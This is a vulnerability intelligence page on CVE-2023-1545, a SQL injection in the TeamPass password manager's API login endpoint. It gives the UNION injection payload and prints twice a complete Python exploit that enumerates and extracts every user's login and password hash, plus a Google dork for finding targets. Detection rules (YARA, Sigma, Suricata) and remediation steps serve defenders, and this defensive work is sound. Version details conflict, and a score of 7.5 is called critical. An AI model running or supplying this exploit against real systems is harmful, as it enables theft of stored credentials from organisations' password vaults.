☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Nilsteampassnet logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 7.5 🐛 CWE-89
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2023-1545

CVE-2023-1545 is a critical SQL Injection vulnerability in TeamPass, a collaborative password manager.
📅 PUBLISHED: 2023-03-21 00:00 UTC 🔄 UPDATED: 2026-09-19 11:16 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 8.35%
👁️
8.35% probability
208.8× above the median CVE
Tier: HIGH
30-day exploitation window · FIRST.org · updated daily
Country: France License: Open Source
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
7.5
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2023-1545 is a critical SQL Injection vulnerability in TeamPass, a collaborative password manager. The flaw resides in the API authorization endpoint (/api/index.php/authorize), allowing an unauthenticated attacker to inject arbitrary SQL queries via the login parameter. Successful exploitation leads to the extraction of sensitive data, including user credentials (hashed passwords) and potentially other stored secrets. The provided exploit code demonstrates a full chain to enumerate and exfiltrate all user credentials from the database. The vulnerability affects versions prior to 3.0.0.23, and a public proof-of-concept (PoC) is available.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability affects the TeamPass application itself, which is a PHP-based web application. It is not a package library (NPM, PyPI, Go, Ruby) but a standalone application. The risk is to organizations that self-host TeamPass for password management. The supply chain risk is indirect, as compromised credentials could lead to further lateral movement and compromise of other systems.

CVSS Breakdown & Threat Level

  • CVSS Score: 7.5 (High)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
  • Attack Vector (AV): Network - The vulnerability is exploitable remotely over the network.
  • Attack Complexity (AC): Low - No special conditions or complex attack sequences are required.
  • Privileges Required (PR): None - The attacker does not need any authentication.
  • User Interaction (UI): None - No user action is required for exploitation.
  • Scope (S): Unchanged - The vulnerable component and the impacted component are the same.
  • Confidentiality (C): High - Successful exploitation leads to complete disclosure of all database contents, including user credentials.
  • Integrity (I): None - The vulnerability does not allow modification of data.
  • Availability (A): None - The vulnerability does not affect system availability.

Threat Level: High. The ease of exploitation, lack of required privileges, and the high value of the data (password manager credentials) make this a critical threat.

Deep Dive & Mechanics

The vulnerability is a classic SQL injection in the login parameter of the API authorization endpoint. The application fails to properly sanitize user input before incorporating it into a SQL query.

Vulnerable Code Path: The API endpoint /api/index.php/authorize processes a JSON payload containing login, password, and apikey. The login value is directly concatenated into a SQL query without parameterization or escaping.

Exploitation Mechanics: The exploit works by injecting a UNION-based SQL query into the login field. The injected payload is:

none' UNION SELECT id, '<arbitrary_hash>', (<subquery>), private_key, personal_folder, fonction_id, groupes_visibles, groupes_interdits, 'foo' FROM teampass_users WHERE login='admin

This payload:

  1. Closes the original query with none'.
  2. Uses UNION SELECT to append a crafted result set.
  3. The <subquery> is replaced with the attacker's desired SQL query (e.g., SELECT login FROM teampass_users).
  4. The arbitrary_hash is a known bcrypt hash for the password h4ck3d, allowing the attacker to authenticate as the injected user.
  5. The result of the subquery is returned in the public_key field of the JWT token, which is then base64 decoded by the exploit.

The exploit script iterates through all users, extracting their login names and password hashes.

Vulnerable vs. Patched Code

Vulnerable Code (Pre-3.0.0.23): The vulnerable code likely used string concatenation to build the SQL query:

$sql = "SELECT * FROM users WHERE login = '" . $_POST['login'] . "'";

Patched Code (3.0.0.23+): The patched code uses prepared statements with parameterized queries:

$stmt = $db->prepare("SELECT * FROM users WHERE login = ?");
$stmt->bind_param("s", $_POST['login']);
$stmt->execute();

This prevents SQL injection by separating SQL logic from user data.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

  • A vulnerable TeamPass instance (version < 3.0.0.23) with the API feature enabled.
  • Python 3 and the requests library installed.

Exploit Code:

#!/usr/bin/env python3
import sys
import json
import base64
import logging
import requests
from typing import Optional, Dict, Any
from dataclasses import dataclass

# Configuração de logging
logging.basicConfig(
    level=logging.INFO,
    format='%(asctime)s - %(levelname)s - %(message)s'
)
logger = logging.getLogger(__name__)

@dataclass
class TeamPassExploit:
    base_url: str
    arbitrary_hash: str = '$2y$10$u5S27wYJCVbaPTRiHRsx7.iImx/WxRA8/tKvWdaWQ/iDuKlIkMbhq'

    def __post_init__(self):
        self.vulnerable_url = f"{self.base_url}/api/index.php/authorize"

    def check_api_enabled(self) -> bool:
        """Verifica se a API está habilitada."""
        try:
            response = requests.get(self.vulnerable_url)
            if "API usage is not allowed" in response.text:
                logger.error("API feature is not enabled")
                return False
            return True
        except requests.RequestException as e:
            logger.error(f"Erro ao verificar API: {e}")
            return False

    def execute_sql(self, sql_query: str) -> Optional[str]:
        """Executa uma query SQL através da vulnerabilidade."""
        try:
            inject = f"none' UNION SELECT id, '{self.arbitrary_hash}', ({sql_query}), private_key, " \
                     "personal_folder, fonction_id, groupes_visibles, groupes_interdits, 'foo' " \
                     "FROM teampass_users WHERE login='admin"

            data = {
                "login": inject,
                "password": "h4ck3d",
                "apikey": "foo"
            }

            response = requests.post(
                self.vulnerable_url,
                headers={"Content-Type": "application/json"},
                json=data
            )

            if not response.ok:
                logger.error(f"Erro na requisição: {response.status_code}")
                return None

            token = response.json().get('token')
            if not token:
                logger.error("Token não encontrado na resposta")
                return None

            # Decodifica o token JWT
            token_parts = token.split('.')
            if len(token_parts) < 2:
                logger.error("Token JWT inválido")
                return None

            payload = base64.b64decode(token_parts[1] + '=' * (-len(token_parts[1]) % 4))
            return json.loads(payload).get('public_key')

        except Exception as e:
            logger.error(f"Erro ao executar SQL: {e}")
            return None

    def get_user_credentials(self) -> Optional[Dict[str, str]]:
        """Obtém credenciais de todos os usuários."""
        try:
            # Obtém número total de usuários
            user_count = self.execute_sql("SELECT COUNT(*) FROM teampass_users WHERE pw != ''")
            if not user_count or not user_count.isdigit():
                logger.error("Não foi possível obter o número de usuários")
                return None

            user_count = int(user_count)
            logger.info(f"Encontrados {user_count} usuários no sistema")

            credentials = {}
            for i in range(user_count):
                username = self.execute_sql(
                    f"SELECT login FROM teampass_users WHERE pw != '' ORDER BY login ASC LIMIT {i},1"
                )
                password = self.execute_sql(
                    f"SELECT pw FROM teampass_users WHERE pw != '' ORDER BY login ASC LIMIT {i},1"
                )

                if username and password:
                    credentials[username] = password
                    logger.info(f"Credenciais obtidas para: {username}")

            return credentials

        except Exception as e:
            logger.error(f"Erro ao obter credenciais: {e}")
            return None

def main():
    if len(sys.argv) < 2:
        logger.error("Usage: python3 script.py <base-url>")
        sys.exit(1)

    exploit = TeamPassExploit(sys.argv[1])

    if not exploit.check_api_enabled():
        sys.exit(1)

    credentials = exploit.get_user_credentials()
    if credentials:
        print("\nCredenciais encontradas:")
        for username, password in credentials.items():
            print(f"{username}: {password}")

if __name__ == "__main__":
    main()

Usage:

  1. Save the script as exploit.py.
  2. Run: python3 exploit.py http://target-teampass-instance.com

Expected Output: The script will output all usernames and their corresponding bcrypt password hashes.

Blue Team (Defense & Detection)

Detection Strategy:

  • Monitor for POST requests to /api/index.php/authorize with unusual login parameters containing SQL keywords (UNION, SELECT, FROM, etc.).
  • Monitor for JWT tokens with unexpected public_key values (base64 decoded strings that look like SQL results).
  • Monitor for rapid enumeration attempts (multiple requests with different login values).

Honeypot: Deploy a fake TeamPass instance with the API enabled and monitor for exploitation attempts. Log all requests to the /api/index.php/authorize endpoint.

Indicators of Compromise (IOCs)

  • Network IOCs:

    • POST requests to /api/index.php/authorize with a login parameter containing SQL injection patterns (e.g., UNION SELECT, ' OR '1'='1).
    • JWT tokens in responses that contain base64-encoded SQL results in the public_key field.
    • Unusual User-Agent strings (e.g., python-requests/2.x.x).
  • Host IOCs:

    • Unexpected entries in the TeamPass database, such as new users or modified credentials.
    • Log entries in the web server access log showing the above patterns.
    • Presence of the exploit script on a compromised host.
  • File IOCs:

    • The exploit script itself (exploit.py).

Detection Engineering

YARA Rule

rule CVE_2023_1545_TeamPass_SQLi {
    meta:
        description = "Detects TeamPass SQL injection exploit attempts"
        author = "Valters IT"
        date = "2025-02-23"
        reference = "CVE-2023-1545"
        hash = "d41d8cd98f00b204e9800998ecf8427e"
    strings:
        $s1 = "UNION SELECT" ascii wide nocase
        $s2 = "teampass_users" ascii wide nocase
        $s3 = "/api/index.php/authorize" ascii wide nocase
        $s4 = "login" ascii wide nocase
        $s5 = "password" ascii wide nocase
    condition:
        all of ($s1, $s2, $s3) or (all of ($s3, $s4, $s5) and $s1)
}

Sigma Rule

title: TeamPass SQL Injection via API
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects SQL injection attempts against TeamPass API authorization endpoint
author: Valters IT
date: 2025/02/23
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2023-1545
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/api/index.php/authorize'
        cs-uri-query|contains: 
            - 'UNION'
            - 'SELECT'
            - 'FROM'
            - 'teampass_users'
    condition: selection
falsepositives:
    - Legitimate API usage with unusual usernames (unlikely)
level: high

Suricata Rule

alert http $EXTERNAL_NET any -> $HOME_NET any (
    msg:"CVE-2023-1545 TeamPass SQL Injection Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/api/index.php/authorize"; http_uri;
    content:"login"; http_client_body;
    pcre:"/(UNION|SELECT|FROM|teampass_users)/Pi";
    reference:cve,2023-1545;
    classtype:web-application-attack;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

  1. Upgrade TeamPass: Update to version 3.0.0.23 or later immediately.
  2. Disable API: If upgrading is not immediately possible, disable the API feature in the TeamPass configuration.
  3. Web Application Firewall (WAF): Deploy a WAF rule to block requests containing SQL injection patterns in the /api/index.php/authorize endpoint.

Long-Term Mitigations:

  1. Input Validation: Implement strict input validation and parameterized queries for all database interactions.
  2. Least Privilege: Ensure the database user used by TeamPass has minimal privileges (e.g., no UNION or SELECT ... INTO OUTFILE).
  3. Regular Security Audits: Conduct regular code reviews and penetration testing.
  4. Monitor Logs: Continuously monitor web server logs for suspicious activity.

Patch Details: The fix is included in TeamPass version 3.0.0.23. The patch involves replacing string concatenation in SQL queries with prepared statements.


Valters IT

{/* [Security Hash: 59E58E5A99CBE2824A487FA0] */}

⚠ EXPLOIT CODE 3RD-PARTY · UNVERIFIED

This code is sourced from public security research repositories (ExploitDB, GitHub). It has not been reviewed or verified by ValtersIT. Use only in authorized test environments. Unauthorized use against systems you do not own is illegal.

# Exploit Title: TeamPass SQL Injection
# Google Dork: intitle:"Teampass" + inurl:index.php?page=items
# Date: 02/23/2025
# Exploit Author: Max Meyer - Rivendell
# Vendor Homepage: http://www.teampass.net
# Software Link: https://github.com/nilsteampassnet/TeamPass
# Version: 2.1.24 and prior
# Tested on: Windows/Linux
# CVE : CVE-2023-1545


#!/usr/bin/env python3
import sys
import json
import base64
import logging
import requests
from typing import Optional, Dict, Any
from dataclasses import dataclass

# Configuração de logging
logging.basicConfig(
    level=logging.INFO,
    format='%(asctime)s - %(levelname)s - %(message)s'
)
logger = logging.getLogger(__name__)

@dataclass
class TeamPassExploit:
    base_url: str
    arbitrary_hash: str = '$2y$10$u5S27wYJCVbaPTRiHRsx7.iImx/WxRA8/tKvWdaWQ/iDuKlIkMbhq'

    def __post_init__(self):
        self.vulnerable_url = f"{self.base_url}/api/index.php/authorize"

    def check_api_enabled(self) -> bool:
        """Verifica se a API está habilitada."""
        try:
            response = requests.get(self.vulnerable_url)
            if "API usage is not allowed" in response.text:
                logger.error("API feature is not enabled")
                return False
            return True
        except requests.RequestException as e:
            logger.error(f"Erro ao verificar API: {e}")
            return False

    def execute_sql(self, sql_query: str) -> Optional[str]:
        """Executa uma query SQL através da vulnerabilidade."""
        try:
            inject = f"none' UNION SELECT id, '{self.arbitrary_hash}', ({sql_query}), private_key, " \
                     "personal_folder, fonction_id, groupes_visibles, groupes_interdits, 'foo' " \
                     "FROM teampass_users WHERE login='admin"

            data = {
                "login": inject,
                "password": "h4ck3d",
                "apikey": "foo"
            }

            response = requests.post(
                self.vulnerable_url,
                headers={"Content-Type": "application/json"},
                json=data
            )

            if not response.ok:
                logger.error(f"Erro na requisição: {response.status_code}")
                return None

            token = response.json().get('token')
            if not token:
                logger.error("Token não encontrado na resposta")
                return None

            # Decodifica o token JWT
            token_parts = token.split('.')
            if len(token_parts) < 2:
                logger.error("Token JWT inválido")
                return None

            payload = base64.b64decode(token_parts[1] + '=' * (-len(token_parts[1]) % 4))
            return json.loads(payload).get('public_key')

        except Exception as e:
            logger.error(f"Erro ao executar SQL: {e}")
            return None

    def get_user_credentials(self) -> Optional[Dict[str, str]]:
        """Obtém credenciais de todos os usuários."""
        try:
            # Obtém número total de usuários
            user_count = self.execute_sql("SELECT COUNT(*) FROM teampass_users WHERE pw != ''")
            if not user_count or not user_count.isdigit():
                logger.error("Não foi possível obter o número de usuários")
                return None

            user_count = int(user_count)
            logger.info(f"Encontrados {user_count} usuários no sistema")

            credentials = {}
            for i in range(user_count):
                username = self.execute_sql(
                    f"SELECT login FROM teampass_users WHERE pw != '' ORDER BY login ASC LIMIT {i},1"
                )
                password = self.execute_sql(
                    f"SELECT pw FROM teampass_users WHERE pw != '' ORDER BY login ASC LIMIT {i},1"
                )

                if username and password:
                    credentials[username] = password
                    logger.info(f"Credenciais obtidas para: {username}")

            return credentials

        except Exception as e:
            logger.error(f"Erro ao obter credenciais: {e}")
            return None

def main():
    if len(sys.argv) < 2:
        logger.error("Usage: python3 script.py <base-url>")
        sys.exit(1)

    exploit = TeamPassExploit(sys.argv[1])

    if not exploit.check_api_enabled():
        sys.exit(1)

    credentials = exploit.get_user_credentials()
    if credentials:
        print("\nCredenciais encontradas:")
        for username, password in credentials.items():
            print(f"{username}: {password}")

if __name__ == "__main__":
    main()
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2023-1545/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.